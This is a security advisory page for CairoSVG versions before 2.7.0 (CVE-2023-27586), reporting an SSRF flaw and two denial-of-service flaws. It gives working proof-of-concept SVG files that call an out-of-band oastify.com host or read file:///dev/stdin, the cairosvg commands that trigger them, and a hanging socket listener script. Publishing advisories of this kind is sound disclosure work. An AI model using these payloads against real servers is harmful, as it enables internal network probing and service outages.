CairoSVG improperly processes SVG files loaded from external resources
SSRF vulnerability
Summary
When CairoSVG processes an SVG file, it can make requests to the inner host and different outside hosts.
Operating system, version and so on
Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9
Tested CairoSVG version
2.6.0
Details
A specially crafted SVG file that loads an external resource from a URL. Remote attackers could exploit this vulnerability to cause a scan of an organization's internal resources or a DDOS attack on external resources. It looks like this bug can affect websites and cause request forgery on the server.
PoC
- Generating malicious svg file: 1.1 CairoSVG_exploit.svg:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<image height="200" width="200" xlink:href="http://[jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com](http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/)/3" />
<style type="text/css">@import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/5");</style>
<style type="text/css">
<![CDATA[
@import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/9");
rect { fill: red; stroke: blue; stroke-width: 3 }
]]>
</style>
</svg>1.2 CairoSVG_exploit_2.svg:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<defs>
<pattern id="img1" patternUnits="userSpaceOnUse" width="600" height="450">
<image xlink:href="http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/11" x="0" y="0" width="600" height="450" />
</pattern>
</defs>
<path d="M5,50 l0,100 l100,0 l0,-100 l-100,0 M215,100 a50,50 0 1 1 -100,0 50,50 0 1 1 100,0 M265,50 l50,100 l-100,0 l50,-100 z" fill="url(#img1)" />
</svg>1.3 CairoSVG_exploit_3.svg:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<use href="http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/13" />
</svg>-
Run some commands:
$ python3 -m cairosvg CairoSVG_exploit.svg -f png$ python3 -m cairosvg CairoSVG_exploit_2.svg -f png$ python3 -m cairosvg CairoSVG_exploit_3.svg -f png -
See result requests in Burp Collaborator:
DOS vulnerability with SSTI
Summary
When CairoSVG processes an SVG file, it can send requests to external hosts and wait for a response from the external server after a successful TCP handshake. This will cause the server to hang. It seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.
Operating system, version and so on
Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9
Tested CairoSVG version
2.6.0
PoC
- Generating malicious svg file:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<use href="http://192.168.56.1:1234/" />
</svg>- In other server run this python program:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 1234))
s.listen(1)
conn, addr = s.accept()
with conn:
while True:
data = conn.recv(2048)
s.close()- Run commands:
$timeout 60 python3 -m cairosvg CairoSVG_exploit_dos.svg -f png(without timeout server will hang forever)
DOS vulnerability with stdin file descriptor
Summary
Specially crafted SVG file that opens /proc/self/fd/1 or /dev/stdin results in a hang with a tiny PoC file. Remote attackers could leverage this vulnerability to cause a denial of service via a crafted SVG file. It seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.
Operating system, version and so on
Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9
Tested CairoSVG version
2.6.0
PoC
- Generating malicious svg file:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<use href="file:///dev/stdin" />
</svg>- In other server run this python program:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 1234))
s.listen(1)
conn, addr = s.accept()
with conn:
while True:
data = conn.recv(2048)
s.close()- Run commands:
$timeout 60 python3 -m cairosvg cariosvg_exploit_dos.svg -f png
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | cairosvg | < 2.7.0 | 2.7.0 |
References
- https://github.com/Kozea/CairoSVG/releases/tag/2.7.0
- https://github.com/Kozea/CairoSVG/security/advisories/GHSA-rwmf-w63j-p7gv
- https://github.com/Kozea/CairoSVG/commit/12d31c653c0254fa9d9853f66b04ea46e7397255
- https://github.com/Kozea/CairoSVG/commit/33007d4af9195e2bfb2ff9af064c4c2d8e4b2b53
- https://nvd.nist.gov/vuln/detail/CVE-2023-27586
- https://github.com/Kozea/CairoSVG
- https://github.com/pypa/advisory-database/tree/main/vulns/cairosvg/PYSEC-2023-9.yaml
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L- Weakness (CWE)
CWE-20, CWE-918- Platform
- Python (PyPI)
- Package
cairosvg- Disclosed
- 20.03.2023
- Updated
- 11.10.2026 15:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2023-9 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-rwmf-w63j-p7gv - CC BY 4.0
Vulnerability history: cairosvg
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 4
- First → latest
- 01.2021 10.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 4
Disclosures per year
- 2021: 1
- 2022: 0
- 2023: 1
- 2024: 0
- 2025: 0
- 2026: 2
-
CairoSVG improperly processes SVG files loaded from external resources this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.